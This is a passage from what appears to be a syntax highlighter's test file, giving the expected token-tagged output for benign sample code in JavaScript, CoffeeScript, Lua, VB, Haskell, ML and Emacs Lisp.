issue8: ( + '`PLNone`END`PLN\t`END`TYPTwo`END`PLN' + + '\t`END`PLNthree`END`PLN\t`END`TYPFour' + + '`END`PLN\t`END`PLNfive`END`PLN\t' + + '`END`PUN|`END`PLN\n' + + '`END`TYPSix`END`PLN\t`END`PLNseven`END`PLN\t' + + '`END`TYPEight`END`PLN\tnine\t`END`TYPTen`END' + + '`PLN\t`END`PUN|`END`PLN\n' + + '`END`PLNeleven`END`PLN\t`END`TYPTwelve`END`PLN\t`END' + + '`PLNthirteen`END`PLN\t`END' + + '`TYPFourteen`END`PLN\tfifteen\t`END`' + + 'PUN|`END' + ), + js_regexp: ( + '`STR/foo/`END`PUN;`END`PLN `END`COM// a slash starting a line ' + + 'treated as a regexp beginning`END`PLN\n' + + '`END`STR"foo"`END`PUN.`END`PLNmatch`END`PUN(`END`STR/fo+$/`END' + + '`PUN);`END`PLN\n' + + '`END`COM// this line comment not treated as a regular expressions`END' + + '`PLN\n' + + '`END`STR"foo /bar/"`END`PUN.`END`PLNtest`END`PUN(`END`STR/"baz"/`END' + + '`PUN);`END`PLN `END`COM// test string and regexp boundaries' + + '`END`PLN\n' + + '`END`KWDvar`END`PLN division `END`PUN=`END`PLN `END' + + '`STR/\\b\\d+\\/\\d+/`END`PLNg`END`PUN;`END`PLN `END' + + '`COM// test char sets and escaping of specials`END`PLN\n' + + '`END`KWDvar`END`PLN allSpecials `END`PUN=`END`PLN `END' + + '`STR/([^\\(\\)\\[\\]\\{\\}\\-\\?\\+\\*\\.\\^\\$\\/]+)\\\\/`END' + + '`PUN;`END`PLN\n' + + '`END`KWDvar`END`PLN slashInCharset `END`PUN=`END`PLN `END' + + '`STR/[^/]/`END`PLNg`END`PUN,`END`PLN notCloseSq `END`PUN=`END' + + '`PLN `END`STR/[^\\]]/`END`PUN;`END`PLN\n' + + '\n' + + '`END`COM// test that slash used in numeric context treated as an ' + + 'operator`END`PLN\n' + + '`END`LIT1`END`PLN `END`PUN/`END`PLN `END`LIT2`END`PUN;`END`PLN\n' + + '`END`LIT1.`END`PLN `END`PUN/`END`PLN x`END`PUN;`END`PLN\n' + + 'x `END`PUN/`END`PLN y`END`PUN;`END`PLN\n' + + '`END`PUN(`END`PLNx`END`PUN)`END`PLN `END`PUN/`END`PLN y`END`PUN;`END' + + '`PLN\n' + + '`END`LIT1`END`PLN `END`COM/* foo *\/`END`PLN `END`PUN/`END`PLN `END' + + '`LIT2`END`PUN;`END`PLN\n' + + '`END`LIT1`END`PLN `END`COM/* foo *\/`END`PUN/`END`PLN `END`LIT2`END' + + '`PUN;`END`PLN\n' + + '`END`LIT1`END`PUN/`END`LIT2`END`PUN;`END`PLN\n' + + '`END`LIT1.`END`PUN/`END`PLNx`END`PUN;`END`PLN\n' + + 'x`END`PUN/`END`PLNy`END`PUN;`END`PLN\n' + + '`END`PUN(`END`PLNx`END`PUN)/`END`PLNy`END`PUN;`END`PLN\n' + + '\n' + + '`END`COM// test split over two lines. line comment should not ' + + 'fool it`END`PLN\n' + + '`END`LIT1`END`COM//`END`PLN\n' + + '`END`PUN/`END`LIT2`END`PUN;`END`PLN\n' + + '\n' + + 'x`END`PUN++/`END`PLNy`END`PUN;`END`PLN\n' + + 'x`END`PUN--/`END`PLNy`END`PUN;`END`PLN\n' + + 'x`END`PUN[`END`PLNy`END`PUN]`END`PLN `END`PUN/`END`PLN z`END`PUN;`END' + + '`PLN\n' + + 'f`END`PUN()`END`PLN `END`PUN/`END`PLN n`END`PUN;`END`PLN\n' + + '\n' + + '`END`COM// test that slash after non postfix operator is start of ' + + 'regexp`END`PLN\n' + + 'log`END`PUN(`END`STR\'matches = \'`END`PLN `END`PUN+`END`PLN `END' + + '`STR/foo/`END`PUN.`END`PLNtest`END`PUN(`END`PLNfoo`END`PUN));`END' + + '`PLN\n' + + '\n' + + '`END`COM// test keyword preceders`END`PLN\n' + + '`END`KWDreturn`END`PLN `END`STR/a regexp/`END`PUN;`END`PLN\n' + + 'division `END`PUN=`END`PLN notreturn `END`PUN/`END`PLN not_a_regexp ' + + '`END`PUN/`END`PLN `END`LIT2`END`PUN;`END`PLN `END`COM// ' + + 'keyword suffix does not match`END`PLN\n' + + '\n' + + '`END`COM// & not used as prefix operator in javascript but this ' + + 'should still work`END`PLN\n' + + '`END`PUN&`END`STR/foo/`END`PUN;`END`PLN\n' + + '\n' + + '`END`KWDextends`END`PLN `END`PUN=`END`PLN `END`STR/extends/`END' + + '`PUN;`END' + ), + js_regexp_lang: ( + '`STR/foo/`END`PUN;`END`PLN `END`COM// a slash starting a line ' + + 'treated as a regexp beginning`END`PLN\n' + + '`END`STR"foo"`END`PUN.`END`PLNmatch`END`PUN(`END`STR/fo+$/`END' + + '`PUN);`END`PLN\n' + + '`END`COM// this line comment not treated as a regular expressions`END' + + '`PLN\n' + + '`END`STR"foo /bar/"`END`PUN.`END`PLNtest`END`PUN(`END`STR/"baz"/`END' + + '`PUN);`END`PLN `END`COM// test string and regexp boundaries' + + '`END`PLN\n' + + '`END`KWDvar`END`PLN division `END`PUN=`END`PLN `END' + + '`STR/\\b\\d+\\/\\d+/`END`PLNg`END`PUN;`END`PLN `END' + + '`COM// test char sets and escaping of specials`END`PLN\n' + + '`END`KWDvar`END`PLN allSpecials `END`PUN=`END`PLN `END' + + '`STR/([^\\(\\)\\[\\]\\{\\}\\-\\?\\+\\*\\.\\^\\$\\/]+)\\\\/`END' + + '`PUN;`END`PLN\n' + + '`END`KWDvar`END`PLN slashInCharset `END`PUN=`END`PLN `END' + + '`STR/[^/]/`END`PLNg`END`PUN,`END`PLN notCloseSq `END`PUN=`END' + + '`PLN `END`STR/[^\\]]/`END`PUN;`END`PLN\n' + + '\n' + + '`END`COM// test that slash used in numeric context treated as an ' + + 'operator`END`PLN\n' + + '`END`LIT1`END`PLN `END`PUN/`END`PLN `END`LIT2`END`PUN;`END`PLN\n' + + '`END`LIT1.`END`PLN `END`PUN/`END`PLN x`END`PUN;`END`PLN\n' + + 'x `END`PUN/`END`PLN y`END`PUN;`END`PLN\n' + + '`END`PUN(`END`PLNx`END`PUN)`END`PLN `END`PUN/`END`PLN y`END`PUN;`END' + + '`PLN\n' + + '`END`LIT1`END`PLN `END`COM/* foo *\/`END`PLN `END`PUN/`END`PLN `END' + + '`LIT2`END`PUN;`END`PLN\n' + + '`END`LIT1`END`PLN `END`COM/* foo *\/`END`PUN/`END`PLN `END`LIT2`END' + + '`PUN;`END`PLN\n' + + '`END`LIT1`END`PUN/`END`LIT2`END`PUN;`END`PLN\n' + + '`END`LIT1.`END`PUN/`END`PLNx`END`PUN;`END`PLN\n' + + 'x`END`PUN/`END`PLNy`END`PUN;`END`PLN\n' + + '`END`PUN(`END`PLNx`END`PUN)/`END`PLNy`END`PUN;`END`PLN\n' + + '\n' + + '`END`COM// test split over two lines. line comment should not ' + + 'fool it`END`PLN\n' + + '`END`LIT1`END`COM//`END`PLN\n' + + '`END`PUN/`END`LIT2`END`PUN;`END`PLN\n' + + '\n' + + 'x`END`PUN++/`END`PLNy`END`PUN;`END`PLN\n' + + 'x`END`PUN--/`END`PLNy`END`PUN;`END`PLN\n' + + 'x`END`PUN[`END`PLNy`END`PUN]`END`PLN `END`PUN/`END`PLN z`END`PUN;`END' + + '`PLN\n' + + 'f`END`PUN()`END`PLN `END`PUN/`END`PLN n`END`PUN;`END`PLN\n' + + '\n' + + '`END`COM// test that slash after non postfix operator is start of ' + + 'regexp`END`PLN\n' + + 'log`END`PUN(`END`STR\'matches = \'`END`PLN `END`PUN+`END`PLN `END' + + '`STR/foo/`END`PUN.`END`PLNtest`END`PUN(`END`PLNfoo`END`PUN));`END' + + '`PLN\n' + + '\n' + + '`END`COM// test keyword preceders`END`PLN\n' + + '`END`KWDreturn`END`PLN `END`STR/a regexp/`END`PUN;`END`PLN\n' + + 'division `END`PUN=`END`PLN notreturn `END`PUN/`END`PLN not_a_regexp ' + + '`END`PUN/`END`PLN `END`LIT2`END`PUN;`END`PLN `END`COM// ' + + 'keyword suffix does not match`END`PLN\n' + + '\n' + + '`END`COM// & not used as prefix operator in javascript but this ' + + 'should still work`END`PLN\n' + + '`END`PUN&`END`STR/foo/`END`PUN;`END`PLN\n' + + '\n' + + 'extends `END`PUN=`END`PLN `END`STR/extends/`END`PUN;`END' + ), + coffee: ( + '`KWDclass`END`PLN `END`TYPAnimal`END`PLN\n' + + ' constructor`END`PUN:`END`PLN `END`PUN(`END`LIT@name`END`PUN)`END`PLN `END`PUN->`END`PLN\n' + + ' move`END`PUN:`END`PLN `END`PUN(`END`PLNmeters`END`PUN,`END`PLN loc`END`PUN)`END`PLN `END`PUN->`END`PLN\n' + + ' alert `END`LIT@name`END`PLN `END`PUN+`END`PLN `END`STR" moved "`END`PLN `END`PUN+`END`PLN meters `END`PUN+`END`PLN `END`STR"m."`END`PLN\n' + + ' travel`END`PUN:`END`PLN `END`PUN(`END`PLNpath`END`PUN...)`END`PLN `END`PUN->`END`PLN\n' + + ' `END`KWDfor`END`PLN place `END`KWDin`END`PLN path\n' + + ' `END`LIT@move`END`PLN place`END`PUN.`END`PLNdistance`END`PUN,`END`PLN place`END`PUN.`END`PLNlocation\n' + + '\n' + + '`END`KWDclass`END`PLN `END`TYPHorse`END`PLN `END`KWDextends`END`PLN `END`TYPAnimal`END`PLN\n' + + ' `END`COM###\n' + + ' @param name Horse name\n' + + ' @param jumper Jumping ability\n' + + ' ###`END`PLN\n' + + ' constructor`END`PUN:`END`PLN `END`PUN(`END`PLNname`END`PUN,`END`PLN jumper`END`PUN)`END`PLN `END`PUN->`END`PLN\n' + + ' `END`KWDsuper`END`PLN name\n' + + ' `END`LIT@capable`END`PLN `END`PUN=`END`PLN jumper\n' + + ' step`END`PUN:`END`PLN `END`PUN->`END`PLN\n' + + ' alert `END`STR\'\'\'\n' + + ' Step,\n' + + ' step...\n' + + ' \'\'\'`END`PLN\n' + + ' jump`END`PUN:`END`PLN `END`PUN->`END`PLN\n' + + ' `END`LIT@capable`END`PLN\n' + + ' move`END`PUN:`END`PLN `END`PUN(`END`PLNmeters`END`PUN,`END`PLN where`END`PUN)`END`PLN `END`PUN->`END`PLN\n' + + ' switch where\n' + + ' `END`KWDwhen`END`PLN `END`STR"ground"`END`PLN\n' + + ' `END`LIT@step`END`PUN()`END`PLN\n' + + ' `END`KWDsuper`END`PLN meters\n' + + ' `END`KWDwhen`END`PLN `END`STR"hurdle"`END`PLN\n' + + ' `END`KWDsuper`END`PLN meters `END`KWDif`END`PLN `END`LIT@jump`END`PUN()`END`PLN\n' + + '\n' + + '`END`COM# Create horse`END`PLN\n' + + 'tom `END`PUN=`END`PLN `END`KWDnew`END`PLN `END`TYPHorse`END`PLN `END`STR"Tommy"`END`PUN,`END`PLN `END`KWDyes`END`PLN\n' + + '\n' + + 'street `END`PUN=`END`PLN\n' + + ' location`END`PUN:`END`PLN `END`STR"ground"`END`PLN\n' + + ' distance`END`PUN:`END`PLN `END`LIT12`END`PLN\n' + + 'car `END`PUN=`END`PLN\n' + + ' location`END`PUN:`END`PLN `END`STR"hurdle"`END`PLN\n' + + ' distance`END`PUN:`END`PLN `END`LIT2`END`PLN\n' + + '\n' + + '`END`COM###\n' + + 'Tell him to travel:\n' + + '1. through the street\n' + + '2. over the car\n' + + '###`END`PLN\n' + + 'tom`END`PUN.`END`PLNtravel street`END`PUN,`END`PLN car`END' + ), + issue14a: ( + '`COM//comment`END
' + + '`KWDint`END`PLN main`END`PUN(`END`KWDint`END`PLN argc`END`PUN,`END' + + '`PLN `END`KWDchar`END`PLN `END`PUN**`END`PLNargv`END`PUN)`END' + + '`PLN\n' + + '`END`PUN{}`END' + ), + issue14b: ( + '`COM<!-- There\'s an `END`COMHTML`END' + + '`COM comment in my comment -->`END`PLN\n' + + '`END`TAG<p>`END' + + '`PLNAnd another one inside the end tag`END' + + '`TAG</p`END`TAG>`END' + ), + issue20: ( + '`TAG<html>`END`PLN\n' + + '\n' + + '`END`TAG<head>`END' + ), + issue21: ( + '`TAG<html>`END`PLN\n' + + ' `END`TAG<head>`END`PLN\n' + + ' `END`TAG<title>`END`PLNTest`END' + + '`TAG</title>`END`PLN\n' + + ' `END`TAG</head>`END`PLN\n' + + '`END`TAG</html>`END' + ), + issue22: ( + '01: `END`COM// This is a line of code`END`PLN\n' + + '`END02: `END`COM/* Multiline comments can\n' + + '`END03: `END`COM * span over and around\n' + + '`END04: `END`COM * line markers\n' + + '`ENDAnd can even be interrupted`END`COM\n' + + '`ENDby inline code annotations`END`COM\n' + + '`END05: `END`COM *\/`END`PLN\n' + + '`END06: `END`KWDclass`END`PLN `END`TYPMyClass`END' + + '`PLN `END`KWDextends`END`PLN `END`TYPFoo`END`PLN `END`PUN{`END' + + '`PLN\n' + + '`END07: `END`PLN `END`KWDpublic`END' + + '`PLN `END`KWDstatic`END`PLN `END`KWDvoid`END`PLN main`END`PUN(`END' + + '`TYPString`END`PUN...`END`PLN argv`END`PUN)`END`PLN `END`PUN{`END' + + '`PLN\n' + + '`END08: `END`PLN `END`TYPSystem`END' + + '`PUN.`END`PLNout`END`PUN.`END`PLNprint`END`PUN(`END' + + '`STR"Hello World"`END`PUN);`END`PLN\n' + + '`END09: `END`PLN `END`PUN}`END`PLN\n' + + '`END10: `END`PUN}`END' + ), + lua: ( + '`PLNos`END`PUN=`END`PLNrequire`END`PUN(`END`STR"os"`END`PUN)`END`PLN\n' + + 'math`END`PUN=`END`PLNrequire`END`PUN(`END`STR"math"`END`PUN)`END`PLN\n' + + '\n' + + '`END`COM-- Examples from the language reference`END`PLN\n' + + ' a `END`PUN=`END`PLN `END`STR\'alo\\n123"\'`END' + + '`PLN\n' + + ' a `END`PUN=`END`PLN `END`STR"alo\\n123\\""`END' + + '`PLN\n' + + ' a `END`PUN=`END`PLN `END' + + '`STR\'\\97lo\\10\\04923"\'`END`PLN\n' + + ' a `END`PUN=`END`PLN `END`STR[[alo\n' + + ' 123"]]`END`PLN\n' + + ' a `END`PUN=`END`PLN `END`STR[==[\n' + + ' alo\n' + + ' 123"]==]`END`PLN\n' + + '\n' + + '`END`LIT3`END`PLN `END`LIT3.0`END`PLN `END`LIT3.1416`END' + + '`PLN `END`LIT314.16e-2`END`PLN `END`LIT0.31416E1`END' + + '`PLN `END`LIT0xff`END`PLN `END`LIT0x56`END`PLN\n' + + '\n' + + '`END`COM-- Some comments that demonstrate long brackets`END`PLN\n' + + 'double_quoted `END`PUN=`END`PLN `END`STR"Not a long bracket [=["`END' + + '`PLN\n' + + '`END`COM--[=[ quoting out\n' + + ' [[ foo ]]\n' + + ' [==[does not end comment either]==]\n' + + ']=]`END`PLN\n' + + 'past_end_of_comment\n' + + '`END`COM--]=]`END`PLN\n' + + '\n' + + '`END`COM-- Example code courtesy Joseph Harmbruster`END`PLN\n' + + '`END`PUN#`END`PLN\n' + + '`END`KWDdo`END`PLN\n' + + ' `END`KWDlocal`END`PLN `END`KWDfunction`END`PLN ssgeneral`END' + + '`PUN(`END`PLNt`END`PUN,`END`PLN n`END`PUN,`END`PLN before`END' + + '`PUN)`END`PLN\n' + + ' `END`KWDfor`END`PLN _`END`PUN,`END`PLN h `END`KWDin`END' + + '`PLN ipairs`END`PUN(`END`PLNincs`END`PUN)`END`PLN `END`KWDdo`END' + + '`PLN\n' + + ' `END`KWDfor`END`PLN i `END`PUN=`END`PLN h `END' + + '`PUN+`END`PLN `END`LIT1`END`PUN,`END`PLN n `END`KWDdo`END`PLN\n' + + ' `END`KWDlocal`END`PLN v `END`PUN=`END' + + '`PLN t`END`PUN[`END`PLNi`END`PUN]`END`PLN\n' + + ' `END`KWDfor`END`PLN j `END`PUN=`END' + + '`PLN i `END`PUN-`END`PLN h`END`PUN,`END`PLN `END`LIT1`END`PUN,`END' + + '`PLN `END`PUN-`END`PLNh `END`KWDdo`END`PLN\n' + + ' `END`KWDlocal`END`PLN testval `END' + + '`PUN=`END`PLN t`END`PUN[`END`PLNj`END`PUN]`END`PLN\n' + + ' `END`KWDif`END`PLN `END`KWDnot`END' + + '`PLN before`END`PUN(`END`PLNv`END`PUN,`END`PLN testval`END' + + '`PUN)`END`PLN `END`KWDthen`END`PLN `END`KWDbreak`END`PLN `END' + + '`KWDend`END`PLN\n' + + ' t`END`PUN[`END`PLNi`END`PUN]`END' + + '`PLN `END`PUN=`END`PLN testval`END`PUN;`END`PLN i `END`PUN=`END' + + '`PLN j\n' + + ' `END`KWDend`END`PLN\n' + + ' t`END`PUN[`END`PLNi`END`PUN]`END`PLN `END' + + '`PUN=`END`PLN v\n' + + ' `END`KWDend`END`PLN \n' + + ' `END`KWDend`END`PLN\n' + + ' `END`KWDreturn`END`PLN t\n' + + ' `END`KWDend`END`PLN\n' + + '\n' + + ' `END`KWDfunction`END`PLN shellsort`END`PUN(`END`PLNt`END' + + '`PUN,`END`PLN before`END`PUN,`END`PLN n`END`PUN)`END`PLN\n' + + ' n `END`PUN=`END`PLN n `END`KWDor`END`PLN `END`PUN#`END' + + '`PLNt\n' + + ' `END`KWDif`END`PLN `END`KWDnot`END`PLN before `END' + + '`KWDor`END`PLN before `END`PUN==`END`PLN `END`STR"<"`END' + + '`PLN `END`KWDthen`END`PLN `END`KWDreturn`END`PLN ssup`END`PUN(`END' + + '`PLNt`END`PUN,`END`PLN n`END`PUN)`END`PLN\n' + + ' `END`KWDelseif`END`PLN before `END`PUN==`END`PLN `END' + + '`STR">"`END`PLN `END`KWDthen`END`PLN `END`KWDreturn`END' + + '`PLN ssdown`END`PUN(`END`PLNt`END`PUN,`END`PLN n`END`PUN)`END' + + '`PLN\n' + + ' `END`KWDelse`END`PLN `END`KWDreturn`END' + + '`PLN ssgeneral`END`PUN(`END`PLNt`END`PUN,`END`PLN n`END`PUN,`END' + + '`PLN before`END`PUN)`END`PLN\n' + + ' `END`KWDend`END`PLN\n' + + ' `END`KWDend`END`PLN\n' + + ' `END`KWDreturn`END`PLN shellsort\n' + + '`END`KWDend`END' + ), + vbs: ( + '`KWDImports`END`PLN System\n' + + '\n' + + '`END`KWDClass`END`PLN [class]\n' + + ' `END`KWDShared`END`PLN `END`KWDSub`END`PLN [shared]`END' + + '`PUN(`END`KWDByVal`END`PLN [boolean] `END`KWDAs`END`PLN `END' + + '`KWDBoolean`END`PUN)`END`PLN\n' + + ' `END`KWDIf`END`PLN [boolean] `END' + + '`KWDThen`END`PLN\n' + + ' Console`END`PUN.`END' + + '`PLNWriteLine`END`PUN(`END`STR"true"`END`PUN)`END`PLN\n' + + ' `END`KWDElse`END`PLN\n' + + ' Console`END`PUN.`END' + + '`PLNWriteLine`END`PUN(`END`STR"false"`END`PUN)`END`PLN\n' + + ' `END`KWDEnd`END`PLN `END`KWDIf`END' + + '`PLN\n' + + ' `END`KWDEnd`END`PLN `END`KWDSub`END`PLN\n' + + '`END`KWDEnd`END`PLN `END`KWDClass`END`PLN\n' + + '\n' + + '`END`COM\' Comment`END`PLN\n' + + '`END`COM\u2018 Second Line comment with a smart quote _\n' + + ' continued line using VB6 syntax.`END`PLN\n' + + '`END`KWDModule`END`PLN [module]\n' + + ' `END`KWDSub`END`PLN Main`END`PUN()`END`PLN\n' + + ' [class]`END`PUN.`END`PLN[shared]`END' + + '`PUN(`END`LITTrue`END`PUN)`END`PLN\n' + + '\n' + + ' `END`COM\' This prints out: \".`END' + + '`PLN\n' + + ' Console`END`PUN.`END`PLNWriteLine`END' + + '`PUN(`END`STR""""`END`PUN)`END`PLN\n' + + '\n' + + ' `END`COM\' This prints out: a"b.`END' + + '`PLN\n' + + ' Console`END`PUN.`END`PLNWriteLine`END' + + '`PUN(`END`STR"a""b"`END`PUN)`END`PLN\n' + + '\n' + + ' `END`COM\' This prints out: a.`END' + + '`PLN\n' + + ' Console`END`PUN.`END`PLNWriteLine`END' + + '`PUN(`END`STR"a"c`END`PUN)`END`PLN\n' + + '\n' + + ' `END`COM\' This prints out: ".`END' + + '`PLN\n' + + ' Console`END`PUN.`END`PLNWriteLine`END' + + '`PUN(`END`STR""""c`END`PUN)`END`PLN\n' + + '\n' + + ' `END`COMREM an old-style comment`END`PLN\n' + + ' REMOVE`END`PUN(`END`PLNnot_a_comment`END`PUN)`END`PLN\n' + + ' `END`KWDEnd`END`PLN `END`KWDSub`END`PLN\n' + + '`END`KWDEnd`END`PLN `END`KWDModule`END`PLN\n' + + '\n' + + '`END`KWDDim`END`PLN d `END`KWDAs`END`PLN `END`KWDDate`END`PLN\n' + + 'd `END`PUN=`END`PLN `END`LIT# 8/23/1970 3:45:39AM #`END`PLN\n' + + 'd `END`PUN=`END`PLN `END`LIT# 8/23/1970 #`END`PLN\n' + + 'd `END`PUN=`END`PLN `END`LIT# 3:45:39AM #`END`PLN\n' + + 'd `END`PUN=`END`PLN `END`LIT# 3:45:39 #`END`PLN\n' + + 'd `END`PUN=`END`PLN `END`LIT# 13:45:39 #`END`PLN\n' + + 'd `END`PUN=`END`PLN `END`LIT# 13:45:39PM #`END`PLN\n' + + '\n' + + '`END`KWDDim`END`PLN n `END`KWDAs`END`PLN Float\n' + + 'n `END`PUN=`END`PLN `END`PUN(`END`LIT0.0`END`PUN,`END`PLN `END' + + '`LIT.99F`END`PUN,`END`PLN `END`LIT1.0E-2D`END`PUN,`END`PLN `END' + + '`LIT1.0E+3D`END`PUN,`END`PLN `END`LIT.5E4`END`PUN,`END`PLN `END' + + '`LIT1E3R`END`PUN,`END`PLN `END`LIT4D`END`PUN)`END`PLN\n' + + '\n' + + '`END`KWDDim`END`PLN i `END`KWDAs`END`PLN `END`KWDInteger`END`PLN\n' + + 'i `END`PUN=`END`PLN `END`PUN(`END`LIT0`END`PUN,`END`PLN `END' + + '`LIT123`END`PUN,`END`PLN `END`LIT45L`END`PUN,`END`PLN `END' + + '`LIT&HA0I`END`PUN,`END`PLN `END`LIT&O177S`END`PUN)`END' + ), + haskell: ( + '`COM-- A comment`END`PLN\n' + + 'Not`END`PUN(--`END`STR"a comment"`END`PUN)`END`PLN\n' + + 'Also.not`END`PUN(--(`END`PLNA.comment`END`PUN))`END`PLN\n' + + '\n' + + '`END`KWDmodule`END`PLN Foo`END`PUN(`END`PLNbar`END`PUN)`END`PLN `END' + + '`KWDwhere`END`PLN\n' + + '`END`KWDimport`END`PLN Blah\n' + + '`END`KWDimport`END`PLN BlahBlah`END`PUN(`END`PLNblah`END`PUN)`END' + + '`PLN\n' + + '`END`KWDimport`END`PLN Monads`END`PUN(`END`PLNException`END' + + '`PUN(..),`END`PLN FIO`END`PUN(..),`END`PLNunFIO`END`PUN,`END' + + '`PLNhandle`END`PUN,`END`PLNrunFIO`END`PUN,`END`PLNfixFIO`END' + + '`PUN,`END`PLNfio`END`PUN,`END`PLN\n' + + ' write`END`PUN,`END' + + '`PLNwriteln`END`PUN,`END`PLNHasNext`END`PUN(..),`END' + + '`PLNHasOutput`END`PUN(..))`END`PLN\n' + + '\n' + + '`END`COM{- nested comments\n' + + ' - don\'t work {-yet-}`END`PLN `END`PUN-}`END`PLN\n' + + '`END`KWDinstance`END`PLN Thingy Foo `END`KWDwhere`END`PLN\n' + + ' a `END`PUN=`END`PLN b\n' + + '\n' + + '`END`KWDdata`END`PLN Foo `END`PUN::`END`PLN `END`PUN(*`END`PLN `END' + + '`PUN->`END`PLN `END`PUN*`END`PLN `END`PUN->`END`PLN `END' + + '`PUN*)`END`PLN `END`PUN->`END`PLN `END`PUN*`END`PLN `END' + + '`PUN>`END`PLN `END`PUN*`END`PLN `END`PUN->`END`PLN `END' + + '`PUN*`END`PLN `END`KWDwhere`END`PLN\n' + + ' Nil `END`PUN::`END`PLN Foo a b c\n' + + ' Cons `END`PUN::`END`PLN a b c `END`PUN->`END' + + '`PLN Foo abc `END`PUN->`END`PLN Foo a b c\n' + + '\n' + + 'str `END`PUN=`END`PLN `END`STR"Foo\\\\Bar"`END`PLN\n' + + 'char `END`PUN=`END`PLN `END`STR\'x\'`END`PLN\n' + + 'Not.A.Char `END`PUN=`END`PLN `END`STR\'t`END`PLNoo long\' `END' + + '`COM-- Don\'t barf. Show that \'t is a lexical error.`END' + + '`PLN\n' + + '\n' + + '`END`PUN(`END`PLNident`END`PUN,`END`PLN ident\'`END`PUN,`END' + + '`PLN Fo\'\'o.b\'ar`END`PUN)`END`PLN\n' + + '\n' + + '`END`PUN(`END`LIT0`END`PUN,`END`PLN `END`LIT12`END`PUN,`END`PLN `END' + + '`LIT0x45`END`PUN,`END`PLN `END`LIT0xA7`END`PUN,`END`PLN `END' + + '`LIT0o177`END`PUN,`END`PLN `END`LIT0O377`END`PUN,`END`PLN `END' + + '`LIT0.1`END`PUN,`END`PLN `END`LIT1.0`END`PUN,`END`PLN `END' + + '`LIT1e3`END`PUN,`END`PLN `END`LIT0.5E-3`END`PUN,`END`PLN `END' + + '`LIT1.0E+45`END`PUN)`END' + ), + ml: ( + '`COM(*\n' + + ' * Print the 10th fibonacci number\n' + + ' *)`END`PLN\n' + + '\n' + + '`END`COM//// A line comment`END`PLN\n' + + '`END`STR"A string"`END`PUN;;`END`PLN\n' + + '`END`PUN(`END`LIT0`END`PUN,`END`PLN `END`LIT125`END`PUN,`END' + + '`PLN `END`LIT0xa0`END`PUN,`END`PLN `END`LIT-1.0`END`PUN,`END' + + '`PLN `END`LIT1e6`END`PUN,`END`PLN `END`LIT1.2e-3`END`PUN);;`END' + + '`PLN `END`COM// number literals`END`PLN\n' + + '\n' + + '`END`COM#if fibby`END`PLN\n' + + ' `END`KWDlet`END`PLN\n' + + ' `END`KWDrec`END`PLN fib `END`PUN=`END`PLN `END' + + '`KWDfunction`END`PLN `END`PUN(`END`LIT0`END`PUN,`END`PLN a`END' + + '`PUN,`END`PLN _`END`PUN)`END`PLN `END`PUN->`END`PLN a\n' + + ' ' + + ' `END`PUN|`END`PLN `END`PUN(`END`PLNn`END`PUN,`END`PLN a`END' + + '`PUN,`END`PLN b`END`PUN)`END`PLN `END`PUN->`END`PLN fib`END' + + '`PUN(`END`PLNn `END`PUN-`END`PLN `END`LIT1`END`PUN,`END' + + '`PLN a `END`PUN+`END`PLN b`END`PUN,`END`PLN a`END`PUN)`END' + + '`PLN\n' + + ' `END`KWDin`END`PLN\n' + + ' print_int`END`PUN(`END`PLNfib`END`PUN(`END`LIT10`END' + + '`PUN,`END`PLN `END`LIT1`END`PUN,`END`PLN `END`LIT1`END' + + '`PUN));;`END`PLN\n' + + '`END`COM#endif`END`PLN\n' + + '\n' + + '`END`KWDlet`END`PLN zed `END`PUN=`END`PLN `END`STR\'z\'`END`PLN\n' + + '\n' + + '`END`KWDlet`END`PLN f\' x\' `END`PUN=`END`PLN x\' `END`PUN+`END`PLN `END`LIT1`END' + ), + lisp: ( + '`COM; -*- mode: lisp -*-`END`PLN\n' + + '\n' + + '`END`OPN(`END`KWDdefun`END`PLN back-six-lines `END`OPN(`END`CLO)`END' + + '`PLN `END`OPN(`END`PLNinteractive`END`CLO)`END`PLN `END`OPN(`END' + + '`PLNforward-line `END`LIT-6`END`CLO))`END`PLN\n' + + '`END`OPN(`END`KWDdefun`END`PLN forward-six-lines `END`OPN(`END' + + '`CLO)`END`PLN `END`OPN(`END`PLNinteractive`END`CLO)`END`PLN `END' + + '`OPN(`END`PLNforward-line `END`LIT6`END`CLO))`END`PLN\n' + + '\n' + + '`END`OPN(`END`PLNglobal-set-key `END`STR"\\M-l"`END`PLN `END' + + '`LIT\'goto-line`END`CLO)`END`PLN\n' + + '`END`OPN(`END`PLNglobal-set-key `END`STR"\\C-z"`END`PLN `END' + + '`LIT\'advertised-undo`END`CLO)`END`PLN\n' + + '`END`OPN(`END`PLNglobal-set-key `END`PUN[`END`PLNC-insert`END' + + '`PUN]`END`PLN `END`LIT\'clipboard-kill-ring-save`END`CLO)`END' + + '`PLN\n' + + '`END`OPN(`END`PLNglobal-set-key `END`PUN[`END`PLNS-insert`END`PUN]`END' + + '`PLN `END`LIT\'clipboard-yank`END`CLO)`END`PLN\n' + + '`END`OPN(`END`PLNglobal-set-key `END`PUN[`END`PLNC-up`END`PUN]`END' + + '`PLN `END`LIT\'back-six-lines`END`CLO)`END`PLN\n' + + '`END`OPN(`END`PLNglobal-set-key `END`PUN[`END`PLNC-down`END`PUN]`END' + + '`PLN `END`LIT\'forward-six-lines`END`CLO)`END`PLN\n' + + '\n' + + '`END`OPN(`END`KWDsetq`END`PLN visible-bell `END`KWDt`END`CLO)`END' + + '`PLN\n' + + '`END`OPN(`END`KWDsetq`END`PLN user-mail-address `END' + + '`STR"foo@bar.com"`END`CLO)`END`PLN\n' + + '`END`OPN(`END`KWDsetq`END`PLN default-major-mode `END' + + '`LIT\'text-mode`END`CLO)`END`PLN\n' + + '\n' + + '`END`OPN(`END`PLNsetenv `END`STR"TERM"`END`PLN `END' + + '`STR"emacs"`END`CLO)`END`PLN\n' + + '`END`OPN(`END`PLNc-set-offset `END`LIT\'case-label`END`PLN `END' + + '`LIT2`END`CLO)`END`PLN\n' + + '`END`OPN(`END`KWDsetq`END`PLN c-basic-offset `END`LIT2`END`CLO)`END' + + '`PLN\n' + + '`END`OPN(`END`KWDsetq`END`PLN perl-indent-level `END`LIT0x2`END`CLO)`END' + + '`PLN\n' + + '`END`OPN(`END`KWDsetq`END`PLN delete-key-deletes-forward `END`KWDt`END' + + '`CLO)`END`PLN\n' + + '`END`OPN(`END`KWDsetq`END`PLN indent-tabs-mode `END`KWDnil`END' + + '`CLO)`END`PLN\n' + + '\n' + + '`END`COM;; Text mode`END`PLN\n' + + '`END`OPN(`END`PLNadd-hook `END`LIT\'text-mode-hook`END`PLN \n' + + ' `END`LIT\'`END`OPN(`END`KWDlambda`END`PLN `END`OPN(`END' + + '`CLO)`END`PLN\n' + + ' 